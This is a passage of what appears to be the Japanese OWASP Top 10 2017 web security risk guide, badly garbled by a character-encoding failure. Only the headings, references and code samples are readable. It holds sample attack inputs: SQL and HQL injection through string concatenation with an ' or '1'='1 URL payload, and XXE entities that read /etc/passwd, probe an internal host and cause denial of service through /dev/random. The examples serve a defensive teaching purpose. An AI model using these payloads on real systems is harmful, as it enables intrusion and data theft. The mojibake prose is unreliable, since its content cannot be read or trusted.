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• ¿ÇØÇÃÉÔÎÓÖúÝýāÅËÈù����ôÜĄÙĚńĮń�ô7�èĆąÑÒÊË°ÏÕāÙĕĽčċŃĨô��ëąºÒÒÖÕÖÔÇÓÙ¼ÐËÉÖÔÒÑÙ¹ÑÍ×ÐÇÔÙ
ÂËÇÉÖ÷öù�öãùÅËÈİŀńĸłńĕôsÝăĆóÝýëÚ

ħńġø�	åăĆïZéÝ+ª:
• A4:2017-XML 1¢ďŃĦČĦČ$m ­XXE)úÙZéÝĒĦęľôëÚ�øĠńĝĘńĩ�cĈ�ÞĞēĻľĦČĦĝĨĥńĿ­Ã¹ÃÄ®áă8ì
ăĆïħńġâdSõ÷ñóÝýëÚ

ĘķĻīĦČøĂĄ�	åăĆïZéÝ+ª¸
ĘķĻīĦČø)åóÙ³òùĞēĻľĦČ�ùDlø¥ëą��ĈU�éóäĆąĂÞiÿýéïÚµ±±Ĉ�ßąO�ĈÝïðãÙëôøħńġ
øĂą�	åùÜą+ª­fI÷N.ù¨�õÆÆ¼®Ĉ¦ãÙ�òùZéÝ+ªâÜĄýë¸
• ¹·¸³±²¶¯5�ô÷ÝħěľċĽčğńěļŃÙçù+ªùÜąr/ôúľĹńĨáăùĘńĩ7�āfI÷đıĜĎĕĨW�â'�ø÷Ą
ýëÚ

• ¹²±¸³±²¶¯�"�÷ŁĔŃĖõĹīġľŃĖÙçùf�ùg�úÙ�h÷k�āĞēĻľĦČ %ùewÙčŃěħŃĨ<LÙħĜġĿİĐ
ŀŃĜĤĕĈ4æąáÙÜąÝú3>ø�Bèìą'�MâÜĄýëÚ

~(ÙC�ÚïðéÙKĆó�ÝõÝÞO*ôú÷Ý¸
• ¹´¯5�ô÷ÝđıĜĎĕĨvT$m õ ¹¶¯f�ŀĳĿċĕĞĝ�Hùg� úÙ¹µ¸³±²¶¯ċĕĞĝ�Hù��øĶńĜèĆýéïÚ
• ¹·¯ĕŁĝĚčĨľĕďĝĨİĐńĜĎľ ­»ÃÂ½® úÙ2äùİŀńĸłńĕâçù<|Ĉ�êóàĄ ­»ÃÂ½<|®ÙċĲľėńěļŃùµ¬z@
ôùþ�;èĆóÝýëÚ

• ¹²±¯`e�ùľĢĕŀĕĨõİĐłńĩúÙċĲľėńěļŃùàĂí·¬ô�;èĆóàĄÙÆÆ¼â�ñïçõøĂĄÙ1Ćąçõø÷Ąýé
ïÚ

OWASP Top 10 - 2013 è OWASP Top 10 - 2017
A1 – čŃĜĎĕěļŃ è A1:2017-čŃĜĎĕěļŃ

A2 –��ù��õĞĤěļŃ}q è A2:2017-��ù��

A3 – ĕŁĝĚčĨĝĕľĲĦČŃĖ (XSS) î A3:2017-fI÷N.ù¨�

A4 –5�ô÷ÝđıĜĎĕĨüùvT$m [A7õĶńĜ] ∪ A4:2017-XML 1¢ďŃĦČĦČ$m (XXE)[NEW]

A5 –�¡�÷ĞēĻľĦČ�6 î A5:2017-ċĕĞĝ�Hù�� [ĶńĜ]

A6 –fI÷N.ù¨� ì A6:2017-�¡�÷ĞēĻľĦČ�6

A7 –f�ŀĳĿùċĕĞĝ�Hù�� [A4õĶńĜ] ∪ A7:2017-ĕŁĝĚčĨĝĕľĲĦČŃĖ (XSS)

A8 – ĕŁĝĚčĨľĕďĝĨİĐńĜĎľ (CSRF) ý A8:2017-5�ô÷ÝħěľċĽčğńěļŃ [NEW,ĘķĻīĦČ]

A9 –[wù�DMùÜąĘŃĵńĬŃĨù�s è A9:2017-[wù�DMùÜąĘŃĵńĬŃĨù�s

A10 –`e�ùľĢčŀĕĨõ�� ý A10:2017-�"�÷ŁĔŃĖõĹīġľŃĖ[NEW,ĘķĻīĦČ]

�� �������
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OWASP
• OWASP Risk Rating Methodology

• Article on Threat/Risk Modeling

@8;H
• ISO 31000: Risk Management Std

• ISO 27001: ISMS

• NIST Cyber Framework (US)

• ASD Strategic Mitigations (AU)

• NIST CVSS 3.0

• Microsoft Threat Modelling Tool
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`^þčģôØ

þčģô#1:ºèîĖģúĪþġĨÙ
³ÓÁÖ»ĊĪĄë|»èÅÔ
Ó��Øå¼Ö�GÖSQL*Û�Èë�ÐÒÈß»ßÊ:
 String query = "SELECT * FROM accounts WHERE
 custID='" + request.getParameter("id") + "'";

þčģô#2:&m×¶îĖģúĪþġĨÀĔĥĪěħĪøë�
ÊèÔ¶
�GNØºèøóģ×Öç½ßÊ (
½Ú¶Hibernateøóģ��
(HQL)):
 Query HQLQuery = session.createQuery("FROM accounts
 WHERE custID='" + request.getParameter("id") + "'");

Åéæ�eØúĪĀ×¾»Ò¶`^�ÙĕĢñýÓđĢĜĪĄ'id'Ø�
ë' or '1'='1×4fÈßÊ·
½Ú:
 http://example.com/app/accountView?id=' or '1'='1

ÅéÓ¶�eØøóģØQ)À4½æé¶accountsĉĪĕĤ×ºèĥ
ûĪČÀ�Ò ÆéèÅÔ×ÖçßÊ·ÆæÖè`^×åç¶ĊĪĄØ
_Çìã�¬¶ĀċîČĖĦþĪÿĞØ*Û�ÈÀ$�ÓÊ·

�GN}�ØęðĨċ
pØå¼ÖysÓÙ¶îĖģúĪþġĨÙÅØ`^×@ÈÒ�GÓÊ:
• ĠĪýÀ[�ÈÎĊĪĄÀ¶îĖģúĪþġĨ×åÐÒk�¶Ĕï
ĤĄģĨù¶ßÎÙüĎĄðāÆéÖ»·

• ûĨĉ÷Āċ×MÉÎóĀúĪĖÀ�êéË¶�~øóģßÎÙđ
ĢĜĪĄ�ÆéÒ»Ö»*�ÈÀðĨĄĪĖģĄ×�Y	|Æéè·

• ôĕÿòøċĩģĥĪþġčĤĩĚćēĨùīORM�Øk�đĢĜĪĄ
×OQëWÐÎĊĪĄÀ	|Æé¶§�ÖĥûĪČë¡�ÓU�È
ÒÈß¼·

• OQëWÐÎĊĪĄë�YßÎÙ£�ÈÒ	¼·
½Ú¶�~øó
ģ¶ûĚĨČ¶ĀċîČĩĖĦþĪÿĞ×¾»Òlb×OQëWÐÎ
ĊĪĄë�à%êÌèHÓSQLãûĚĨČÀ�à�Òæéè·

åç��~ÖðĨÿòøþġĨÔÈÒÙ¶SQL�NoSQL�OSûĚĨČ¶
ôĕÿòøċĩģĥĪþġčĤĩĚćēĨùīORM��LDAP�¾åÛEL
FīExpression Language�ßÎÙOGNLFīObject Graph 
Navigation Library�ØðĨÿòøþġĨÀºçßÊ·ûĨĂĖċÙÊÝ
ÒØðĨĄĪĖģĄÓ&ÉÓÊ·ăĪĀûĪČëĥĒğĪÊéÚ¶ðĨ
ÿòøþġĨ×@ÈÒîĖģúĪþġĨÀ�GÓºè¿gâ�j~×k
�ÓÁßÊ·ÍÈÒ¶ÊÝÒØđĢĜĪĄ¶ėćąĪ¶URL�Cookie�
JSON�SOAP�¾åÛXMLĊĪĄ��Ø=�Ö��ĉĀċâ�j
~ÓÊ·

ßÎ¶��Ù°~ăĪĀûĪČ�iĈĪĤ (SAST)Ô�~îĖģúĪ
þġĨĉĀċĈĪĤ (DAST)ëCI/CDđðĖĢðĨ×A�ÓÁßÊ·Å
é×åç¶dÎ×�æéÒÈßÐÎðĨÿòøþġĨo­ë��z2×
B©Êè�×k�ÓÁßÊ·

 ��c
OWASP
• OWASP Proactive Controls: Parameterize Queries
• OWASP ASVS: V5 Input Validation and Encoding
• OWASP Testing Guide: SQL ðĨÿòøþġĨ, Command ðĨ
ÿòøþġĨ,
ORM injection

• OWASP Cheat Sheet: ðĨÿòøþġĨ Prevention
• OWASP Cheat Sheet: SQL ðĨÿòøþġĨ Prevention
• OWASP Cheat Sheet: ðĨÿòøþġĨ Prevention in Java
• OWASP Cheat Sheet: Query Parameterization
• OWASP Automated Threats to Web Applications – OAT-014
5¦�c
• CWE-77: Command ðĨÿòøþġĨ
• CWE-89: SQL ðĨÿòøþġĨ
• CWE-564: Hibernate ðĨÿòøþġĨ
• CWE-917: Expression Language ðĨÿòøþġĨ
• PortSwigger: Server-side template injection

ªqet
ðĨÿòøþġĨëªqÊèÎá×ÙûĚĨČÔøóģ¿æĊĪĄëC
×�ÄÒ¾ÂÅÔÀL�ÓÊ·

• Z9Æéè¤T�Ù<�ÖAPIë	|ÊèÅÔ·ðĨĄĪĖģĄØ
	|ë=�×¥Äè¶đĢĜĪĄ�ÆéÎðĨĄĪĔòĪĀë�|
Êè¶ßÎÙ¶ôĕÿòøċĩģĥĪþġčĤĩĚćēĨùĩĈĪĤ
īORM�ë	|Êèå¼×��ÊèÅÔ·uQĬđĢĜĪĄ�Æé
Ò»ÎÔÈÒâ¶ĀċîČĖĦþĪÿĞÓÙ¶PL/SQLßÎÙT-SQL
×åÐÒøóģÔĊĪĄë£�ÈÎç¶EXECUTE IMMEDIATEã
exec()ë�|ÈÒOQØºèĊĪĄë?�ÊèÅÔ×åÐÒ¶SQL
ðĨÿòøþġĨë}{ÆÌèÅÔÀÓÁè·

• ęÿĉïĕÖ¶�»\½èÔ¸ĘħðċģĀċ¹×åèüĪĐüðČØ
��k�ë|»è·xrb:ëL�ÔÊè6ÂØîĖģúĪþġĨ¶
ÎÔ½ÚĝĐðĤîĖģúĪþġĨ|Øĉ÷ĀċóģîãAPIÖÕ
×¾»ÒÙ=�ÖªKetÔÙÖæÖ»·

• ��Ø@MÀ-¯Ö�~øóģÓÙ¶ÍØðĨĄĪĖģĄ.hØ
óĀúĪĖlbë	|ÈÒxrb:ëóĀúĪĖÊè·uQĬ
ĉĪĕĤ'ãõĢě'ÖÕØSQLĀċĢøĆĞ×@ÈÒÙóĀ
úĪĖÀÓÁÖ»·ÍØÎá¶ĠĪýX>ØĀċĢøĆĞ'Ù�
®Óºè·ÅéÙĥęĪċ�RăĔċñòî×;/Êè��~Ö+
´Óºè·

• øóģ�ÓLIMIT#ãÍØ�ØSQL�Kë	|ÊèÅÔÓ¶SQL
ðĨÿòøþġĨ`^À}{ÈÎ1%ØĥûĪČØ7¨wvëªÃ·

��
�����


�����2�

O|ØÈãÊÆ: 3 �ED: 2 k�ØÈãÊÆ: 3 S�±: 3

ÞÔìÕØÕìÖĊĪĄăĪĀâðĨÿò
øþġĨØ��ÔÖç½ßÊ·z24a¶
đĢĜĪĄ¶5¦!Û�¦ØWebüĪĒ
Ā¶ÍÈÒºæäè�µØĠĪýÔ»¼
å¼×·ðĨÿòøþġĨo­Ù¶`^�
ÀOQëWÐÎĊĪĄëðĨĄĪĖģĄ
×¢èÅÔÀÓÁè1%×}{ÈßÊ·

ðĨÿòøþġĨo­Ù¶x×ĥöþĪûĪČÓÙ¶ÔÒâ
��~ÓÊ·ðĨÿòøþġĨ�GNÙ¶SQL¶LDAP¶
XPath¶ºè»ÙNoSQLøóģ¶OSûĚĨČ¶XMLđĪ
üĪ¶SMTPėćąĪ¶F��¶¾åÛORMøóģÓåÂ
�æéßÊ·

ðĨÿòøþġĨo­Ù¶ûĪČë�ÝèÔ��×}�Ó
ÁßÊ·Ā÷ĞčãĔíÿĨùÙ¶`^�ÀðĨÿòøþġ
Ĩo­ë�ÑÄèØ×J�ÏßÊ·

ðĨÿòøþġĨÙ¶ĊĪĄØ]8¶�3¶
n«Ö»�ÜØP0wv¶îõñĨĄĒ
ģĉïØ,8¶ßÎÙîøĂĀV(×Ñ
ÖÀè$�NÀºçßÊ·

ðĨÿòøþġĨÙ¶ĘĀċØ=�Ö�Ð
"ç×ÑÖÀèÅÔÀºçßÊ·ĒÿďĀ
ÜØI²Ù¶îĖģúĪþġĨÔĊĪĄ
Ø§�N×�;ÈßÊ·
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�ÿĐ^\ĞúCĆ�ĬįĐ^\UzėčûĳŕşĽťŁŝţě�"
#ĊįĐ^\ĩĳĹĶţŊşŃŊ^\ĝA�Ą=¥ĊįĖÿĚÿĚĬú
ďĝĳŕşĽťŁŝţĞüG�ĚŐŃŢťŋp­ňťŠýĘċĖ®­R
2ĝk!ăęĀăı¯ĢĮĝěQ�ĊįăĜĥĎĲû

ŁŌşĸ ÍÖÛÌģĘĲęĝ®­ěÂ¸čĮ^\ĞúŐŃŢťŋı.�ĝ
®­§�ĘċĖ�ÿ�ĈĖąĐĐħě��ċĖÿĥčûăĔĖŖŃŊ
ŕŞĻŉĴŃĘĊįĖąĐŐŃŢťŋĝ<l4hĩ¦ÆOĝ§yĞú
ŜťŀťěFÿŐŃŢťŋı�ĭ¶ċ�ĀīĀ�čĘĝ¨dĄþĭĥ
čûďĉėúþĬĪĮ��ĄâßåæÌÚÔÔÑÙ×ěKēĖĉĝīĀĚŕŞĻŉĴ
Ńıĩħú6§�®­ı�ĀĉĘĄZ8ĊįĖÿĥčû

ŁŌşĸ Í×ÛÌĳŕşĽťŁŝţěńŇŁŝţŅĵřĳĶŊĄº�ě=¥
ĊįĖÿĥĎĲûŜťŀĄ��ĝ3ĝľţŒśťŅėďĝĳŕşĽť
ŁŝţěĳĻńŃċĥčûďĝŜťŀĞúĳŕşĽťŁŝţăĬšļĳ
ĶŊčĮ�İĭě%�ěŔŞĶŀėďĝŅŔıÀČĖúďĝ3ı�Ē
&ĭĥčû�fÁJú^\�Ą+ČľţŒśťŅėŔŞĶŀı³"č
ĮĘúĥđďĝŜťŀėšļĵţċĐĥĥěĚēĖÿĥčû

�FO�¨ĝŗĵţŊ
®­ěÂ¸ċĐ^\ıÃćĐħěĞúŜťŀ®­úńŇŁŝţ��ĝ
¬ªŤ=¥ı�®čĮĉĘĄ¼§ėčû

ĳŕşĽťŁŝţĄ�«ĝm�ı{Đč3*ú®­ĝ¬ªŤ=¥ě/
ÊĄþĮăĨċįĥĎĲ:
• k!ĚŜťŀ,ĘŐŃŢťŋĝşŃŊıWĔ^\�ěīĮĳĹĶ
ţŊşŃŊ^\ĝīĀĚ�"#ĊįĐ^\ĄT čĮû

• �HĐĭ^\ĩúďĝ�ĝ�"#ĊįĐ^\ĄT čĮ
• "Password1"ĩ"admin/admin"ĝīĀĚ�l¬<Ę+ČŐŃŢťŋú
GDĝFÿŐŃŢťŋúīĆ�İįĮŐŃŢťŋı�¾ėąĮû

• ;�ě=¥ėąĚÿ"�?ĝ²/"ĝīĀěú�FĥĐĞ!n�ė
ĚÿŐŃŢťŋMeUÉĩŐŃŢťŋşŘĵţņı=¥ċĖÿĮû

• BaĝŐŃŢťŋúg)#ċĐŐŃŢťŋúĥĐĞ�FĚŎŇŁś
Â`ėŎŇŁś#ċĐŐŃŢťŋı�:ċĖÿĮ(A3:2017-sNĚ
R2ĝÇ�ı'�)û

• 6§�®­ı=¥ċĖÿĚÿúĥĐĞ!n�Ě6§�®­ı=
¥ċĖÿĚÿû

• URLăĬńŇŁŝţIDĄÇ�ċĖÿĮ(�: URLią[ā)û
• šļĵţěT ċĐJėńŇŁŝţIDĄ4hĊįĚÿû
• ńŇŁŝţIDĄº�ě~!ěĚĬĚÿûšļĳĶŊĥĐĞ�<fÁ
]
ĄĚÿĘąúŜťŀĝńŇŁŝţĩ®­ŊťĻţ(�ěúŁţļ
ŠĿĵţĸţ(SSO)ŊťĻţ)Ąº�ě~!ěĚĬĚÿû

'�±b
OWASP
• OWASP Proactive Controls: Implement Identity and 

Authentication Controls
• OWASP ASVS: V2 Authentication, V3 Session Management
• OWASP Testing Guide: Identity, Authentication
• OWASP Cheat Sheet: Authentication
• OWASP Cheat Sheet: Credential Stuffing
• OWASP Cheat Sheet: Forgot Password
• OWASP Cheat Sheet: Session Management
• OWASP Automated Threats Handbook

5»±b
• NIST 800-63b: 5.1.1 Memorized Secrets
• CWE-287: Improper Authentication
• CWE-384: Session Fixation

Ãudz
• �"#ĊįĐ^\úĳĹĶţŊşŃŊ^\ú�HĐĭ^\ú�ĥį
ĐŜťŀ,ÓŐŃŢťŋı���ċĐ^\ıÃćĐħěúėąĮÄ
ĭ6§�®­ı=¥čĮû

• �lĳĹĶţŊÏ�ě���ŜťŀÐıwċĐĥĥ� ĂīĠşşť
ŃċĚÿû

• cċÿŐŃŢťŋĥĐĞ4hJĝŐŃŢťŋĄæòóÌÕÔÔÔÔÌøòôõöÌ
óèõõøòôêõĝşŃŊěĚÿă�*čĮīĀĚŐŃŢťŋp­ı=¥
čĮû

• âßåæÌÚÔÔÑÙ×ÌÝÎõÌí÷îêëïîñëõÌîñÌõëéöîòñÌØÒÕÒÕÌìòôÌáëðòôîùëêÌ
åëéôëöõĩjµĝ¯oě1ĕĆŐŃŢťŋĝd½ěúŐŃŢťŋ
ĝ¿Ċú¦ÆOú<l4hěÂčĮŗşŁťıº*ĊĎĮû

• ĳĹĶţŊ�X^\ġĝA�ĘċĖŜťŀ�¾úŐŃŢťŋMeú
ÜãßıG#čĮĐħúčĢĖĝ�n¤�ěĂÿĖ+ČŚŇńťłı
�ÿĮû

• ŐŃŢťŋ��ĝ7_ěAċĖ0`ě�ÄčĮăúxÅ�ě¹
E@ĎĮûčĢĖĝšļĵţ7_ı«¾čĮĘĘĨěúĳĹĶţŊ
şŃŊ^\ú�HĐĭ^\úĥĐĞ�ĝ^\ıp�ċĐĘąěĳŕ
şĽťŁŝţ���ě·�čĮû

• ĿťŏĿĵŋėúńĺśĳĚúőŠŊĵţĝńŇŁŝţ��sqı
�ÿúšļĵţJěĞcĐěËķţŊšŒťĝŞţņřĚńŇŁŝ
ţßÞı�TčĮûńŇŁŝţßÞĞçäàě-ħĮĢąėĞĚĆúńĺś
ĳě�:čĮûĥĐúšļĳĶŊJĩúĳĵŋŠ�SúŅĵřĳĶŊ
ċĐńŇŁŝţı~!ěčĮû
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^\�ĞúĳĹĶţŊşŃŊ^\ŦŐŃ
ŢťŋşŃŊ^\ŧě�āĮ`$�ěĝ
ĤĮk!ĚŜťŀ,ĘŐŃŢťŋĝ�
Ħ*İĎú�l¬<ĝ���ĳĹĶţ
ŊşŃŊú�"#ĊįĐ�HĐĭ^\ú´
i^\ňťŠıQ�ċĖąĥčûďċĖú
IĬĞńŇŁŝţ��ěĂĈĮ^\Uzú
�ěk!lÄĄ�įĐńŇŁŝţŊťĻ
ţěÂ¸ċĐĨĝıīĆ�©ċĖÿĥčû

���ěŜťŀ®­ĘĳĻńŃ�Lı¬ªŤ=¥čĮĐ
ħú®­ĝ��ĄīĆ¨ĬįĥčûńŇŁŝţ��ĞŜť
ŀ®­ĘĳĻńŃ�Lĝ1�ėþĭúŃŉťŊœŠĚĳŕ
şĽťŁŝţčĢĖĄńŇŁŝţ��ı=¥ċĖÿĥčû
^\�ĞU"ė®­ĝ��ı�¨ċú�"#ňťŠě
īĮŐŃŢťŋşŃŊ^\ĩ´i^\ı�YĈĖúďįĬ
ı^\ėąĥčû

^\�ĞúŁŃŉřı
>čĮĐħěú
ÿĆĔăĝĳĹĶţŊĥĐĞĐēĐ�Ĕ
ĝ���ĳĹĶţŊĝĳĻńŃrÄı9
(čįğ$�ėčûĳŕşĽťŁŝţt
�ėúĉĝ^\ĞŘōťšţņşţļú
�	�Ě�v¢}ú��R2ĝ
>ú
z�ě�°ĊįĐ¼§Ěs?R2ĝ|
āÿěĔĚĄĮPįĄþĭĥčû
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b`ŉŗŬĿĦ�
ŉŗŬĿ ×ÜáÖąĳĹŠŬńųŉŪűħăŔųŐŢųŋĦ¢&m1'Ķ��ĕăł
ŮŊŒŕŀųŖ�1Ķm1'ĕīėĄĕĊĕăĚĦŔųŐċ,NēĴĳĢČĥ¢
&�ĥP1ēĴĳĜĭăñïìĻűŊĽłŉŪűĥİĞĠDeĦłŮŊŒŕŀųŖ
�1Ķ,NġČĠĕīĆīėĄ

ŉŗŬĿ ×ÝáÖąĳŇĻŕħăėĪĠĦţųŊġòìñġ�ĞĠĉıĘăũųňĥ
òìñĶJ!ĕĠĆīęķĄīĜăĚĦŇĻŕġħIĆm1ĹŭņŬŌŦĶŇ
ťųŕĕĠĆīėĄb`�ħřŒŕŰųłŕūŞĺŒłĶ�­ĕŴ�ĈĨăm1'
ĕĠĆĤĆ��řŒŕŰųłġŵăéòòîñ½�Ķéòòî½�ĥőļűŃŮųŖĕ
ĚĦŬłľŋŕĶ��ėĳđĢġăũųňĦōŒŉŪűłŒŁųĶ�ĬīėĄĚĕ
Ġăb`�ħđĦłŒŁųĶ�¼ĕũųňĦØ¶´ēĴĜÙōŒŉŪűĶ�Ğ,Ĳă
ĚĦũųňĦ��ŔųŐĶÈ®ĉİĩaĔķġČīėĄīĜăb`�ħōŒ
ŉŪűĶ�Ğ,ĳ
ĵĲĥăėĪĠĦ¼�ŔųŐŴ�ĈĨă�ÃĦ-,�ŵĶa
ĔķġČīėĄ

ŉŗŬĿ ×ÞáÖąĳŜŋŰųŖŔųŐŢųŋħăŏŭŕĤĕĦŚŒŉŨīĜħ)�
ĤŚŒŉŨġŜŋŰųŖĶ�>ĕĠĆīėĄĮĕăŞĸĻŭĹŒŠůųŖĦxÌ
ċąĴĨăb`�ħĚĴĶU�ĕĠăŜŋŰųŖŔųŐŢųŋĶ,NġČīėĄ
�#ĥ°�ēĴĜŚŒŉŨĦŮĻűŤųœųşŭġăėĪĠĦŏŭŕĤĕĦ
ŚŒŉŨċ¯·ēĴĠĕīĆīėĄĚĕĠăĜĢĈŏŭŕąĲġŚŒŉŨ'ēĴĠ
ĆĠĮă)�īĜħÕ¾ĤŚŒŉŨÇdġ�XĕĜŚŒŉŨħèîóġ¯·ēĴ
ĠĕīćĊĮĕĴīęķĄ

¡IT�«ĦťĻűŕ
īĘă¼�ąĳĆħ�>ėĳŔųŐċ�¸ĶRªĢėĳĊ«uĭīėĄ�Ĉ

ĨăŜŋŰųŖăłŮŊŒŕŀųŖ�1ă�G²Äă��ŔųŐįŝŊřŋ�Ħ

wBħ�ĥ�¸ėĳRªċąĲīėĄŔųŐĥCĕĠăæóĦ�£ŔųŐ�¸

¬"ØèåîðÙĦİćĤŠūĻśŉųÇ¿Ħ~MċÁ�ēĴĳ:3ăīĜăîäê

ŔųŐōŁŨŬœĺŋŐűőųŖØîäêÖåññÙĤģÃ¦ĦV9�¸Ħª|ċąĳ

İćĤ¬?ċąĳ:3ĥħă�ĥ�WċRªġėĄĚĦİćĤŔųŐėĪĠĥ

ğĆĠă��Ķ�¶ĕĠčĝēĆá

• ģķĤŔųŐġąĴDeġ¼�ĕĠĆĤĆĊĄđĴħăéòòîăñíòîă
çòîĦİćĤŠůŕŅŭĶ�ĞĠĆĳ:3ĥµKėĳĄ�ÂĊıĻűŐų
řŒŕĥ¼�ėĳ:3ă�ĥ*ÍġąĳĄīĜăůųŖśūűŇăļĽş
ŇųśăśŒłľűŖŉŋœŦĤģĦ�ÂĦ½�ĮėĪĠ�¶ėĳĄ

• śŒłĹŒŠĮ4ĭăwBŔųŐĶDeġ�>ĕĠĆĤĆĊĄ
• .ĆīĜħIĆm1ĹŭņŬŌŦĶ�q³?ĦīīăīĜħ.ĆŅųŖġ
�ĞĠĆĤĆĊĄ

• �q�ĦīīĦm1ÅĦ��ăIĆm1ÅĶ�XīĜħ� �ăÁ�Ĥ
m1Å��īĜħÅĦůųœųŉŪűĶĕĠĆĤĆăđĴıĦµKėĳ�
YħĤĆĊĄ

• ũųňľųŊĽűŕŴşūļňŵĦōŁŨŬœĺĥÇėĳŔĺŮłœĺşįšŒ
őųċx¤ĕĠĆĳĤģăm1'ċJ!ēĴĠĆĤĆ�YħĤĆĊĄ

• ĹŠŬăŧųŭłūĻĹűŕĤģĦũųňľųŊĽűŕċ-�ĕĜŇųś´
jnċzKĤĮĦĊt´ĕĠĆĤĆ�YħĤĆĊĄ

âñôñ äþĂýĀüÖØôßÙăåõĀõÖîþüĀø÷ĀúüûÖØôàÙăĚĕĠññìÚòìñÖØôÜÛÙĶ+�Ą

+�¹f
OWASP
• OWASP Proactive Controls: Protect Data

• OWASP Application Security Verification Standard (V7,9,10)

• OWASP Cheat Sheet: Transport Layer Protection

• OWASP Cheat Sheet: User Privacy Protection

• OWASP Cheat Sheets: Password and Cryptographic Storage

• OWASP Security Headers Project; Cheat Sheet: HSTS

• OWASP Testing Guide: Testing for weak cryptography

;Â¹f
• CWE-220: Exposure of sens. information through data queries

• CWE-310: Cryptographic Issues; CWE-311: Missing Encryption

• CWE-312: Cleartext Storage of Sensitive Information

• CWE-319: Cleartext Transmission of Sensitive Information

• CWE-326: Weak Encryption; CWE-327: Broken/Risky Crypto

• CWE-359: Exposure of Private Information (Privacy Violation)

Éyh~
o
Ë@iėĪČđĢĶ��ĥ]ĐīėĄĚĕĠă+�¹fĶt±ĕ
ĠčĝēĆá
• ĹŠŬńųŉŪűĒĢĥ��ėĳŔųŐă�>ėĳŔųŐă¼�ė
ĳŔųŐĶ�ÔėĳĄĚĕĠăģĦŔųŐċŠūĻśŉųÇ¿Ħ~
MŲ¬"Ħª�ĥµKėĳĊăīĜģĦŔųŐċŝŊřŋ�Rª
ĤŔųŐĊ�?ėĳĄ

• #»Ħ�ÔĥĮĢĥĹłōŋ!OĶ@©ėĳĄ
• RªĦĤĆwQĤV9Ķ�>ĕĤĆĄġČĳËĲėĎĥĚĦİć
ĤwQĤV9Ķ�sėĳĊăîäêÖåññĥ�\ĕĜŕųłŗĻŎų
ŉŪűīĜħŕūűńųŉŪűĶ§ćĄŔųŐċ{ĞĠĆĤďĴĨ�
īĴĤĆĄ

• �>lĥėĪĠĦwQĤV9Ķm1'ĕĠĆĳĊ�¶ėĳĄ
• ogĦm1JFĦÕĆv�ĹŭņŬŌŦăŠůŕŅŭăm1ÅĶ
@©ĕĠĆĳĊ�¶ėĳĄĚĕĠÁ�ĥm1ÅĶ��ėĳĄ

• #h�(TØîçñÙĶp%ĥĕĜòìñăŇųśŇĻŖĥİĳm1ŋ
ĻųŕĦ��F}?ăōŁŨĹŜūŧųŐĤģĦōŁŨĹĤŠůŕ
Ņŭġă½��º�ĦėĪĠĦŔųŐĶm1'ėĳĄéòòîÖ
ñĀþú÷ĀÖòþõûÿýüþĀÖñø÷āþúĀĂÖØéñòñÙĦİćĤŔĺŮłœĺşġm1'
ĶJ!ėĳĄ

• ŜŋŰųŖĶ�>ėĳÎăâþùüûÝăÿ÷þĂýĀă ö÷þĂýĀăîãëåçÝĦİ
ćĤŰųłŞĸłŐØÀHŞĸłŐÙĦąĳăJčĊğÁS/ ĤŮŢ
ŭĦŏŭŕ	ČŚŒŉŨÇdĶ�ĆĳĄ

• ³?ĢĚĦ³?�ċĚĴěĴ��ĕĠ%rċąĳĊt´ėĳĄ
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b`�ħăşūļňĦİćĤłūĻĹűŕ
ĊıŔųŐĶ¼�ėĳĢČĥm1'½�
Ķ�_b`ėĳİĲĮăm1ÅĶ�Ĭ�
ĕĜĲă�Æ�b`Ķ�^ďĜĲăŇų
ś�ĥąĳDeĦŔųŐĶ�Ĭ�ĕī
ėĄ�£�ĥħăđĦŬŋłġħZ&ĥ
İĳb`ĶRªĢĕīėĄąıĊĖĭ�
Ĭ�ĕĜŜŋŰųŖŔųŐŢųŋĥħă
ŃūŞĺŒł��ũŘŒŕØèîóÙĶ�ĞĠ
�KĜĲb`ġČīėĄ

đđdE�ÊăđĦŬŋłħĮĞĢĮ�£�ġLÑ$Ħą
ĳb`ĥĤĲīĕĜĄĮĞĢĮ�£�Ĥb`Z~ħăm1
'ēĴĠĆĤĆwQĤV9Ķ�ĞĜĮĦġėĄm1'ē
ĴĠĆĳ:3ġĮăIĆm1ÅĦ�XĢ��ăIĆm1
ĹŭņŬŌŦăŠůŕŅŭăm1ŋĻųŕĦ �Ķ�ĞĜ
b`Z~ċ�ıĴĠĆīėĄ�ĥăIĆŚŒŉŨÇdĥ
İĳŜŋŰųŖŚŒŉŨĶ�ĞĜb`ċİč�ıĴĠĆī
ėĄŔųŐĶ¼�ėĳ:3ĥħăŇųśŇĻŖĦI�Ķ
Akĥt�ġČīėċăŇųś�ĥ�>ĕĜŔųŐĦ5
ÓĦt�ħ6ÏġėĄ

�¸ĥ=cĕ�¸ėĪČėĪĠĦV9
ċ0�ĕĥĤĳđĢħÒ�ĥ�ĖĠĆī
ėĄ<čĦ:3ăđĴıĦV9ĥħ�G
²Äă¶´V9ă��V9ăłŮŊŒŕ
ŀųŖĤģĦwQĤV9ØîêêÙċ4īĴĠ
ĆīėĄđĴıĦŔųŐĥğĆĠħĕĨĕ
Ĩăæóĥĉďĳèåîðį278ĦŠūĻ
śŉųÇ¿Ħ~MĤģă~Mį¬"ġ
?ĭıĴĜ�¸ċª|ēĴīėĄ
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RQėĦļĎò�
1ßò�¥ĖłĪíòXXE*°Ýw�ãăìØùæÖùèÕ�ú¡
úd,ñ6æĂRQý}�ãăìØùæÖXXEóÕjßĨęĤãăè
�3¦�ą)ûãùäùð�\åðØ.IíwtåùæÖZý�!ð
RQVióÕĖłĪÝ$á�ăĂ.'ñÕE�ðXMLĭĆĉĽą
ćĠįĿłĥæĂâîíæÖ
ėĦļĎ #1: RQ�óĖłĪÜĀģłĝą#ā�çÙî�úùæ:
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <foo>&xxe;</foo>
ėĦļĎ #2: RQ�óÕ��òENTITY�ąfòÿÙñ/XåìÕ
ĖłĪłòįĻĉıłĤĨĠĤŀłđą�öÿÙîåùæ:
  <!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
ėĦļĎ#3:RQ�ó�ĄāòðØĭĆĉĽą)üĂâîíDoSRQ
ą�úùæ:
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>

�;Dw�òĴĉŁĤ
ćįļēłėĺŁÕrñXMLıłęòWebĖłĬęþĞĊŁęĤļłĵ
�'Ý��ò]
ąmèæ.'Õ�;í×Ă&�DÝ×āùæ:
• ćįļēłėĺŁÝÕrñ�¯íÞðØĜłęÜĀò|Pùèó
ćĠįĿłĥñÿĂXMLĥĐĹĶŁĤą$á�ăĂÖùèóÕćįļ
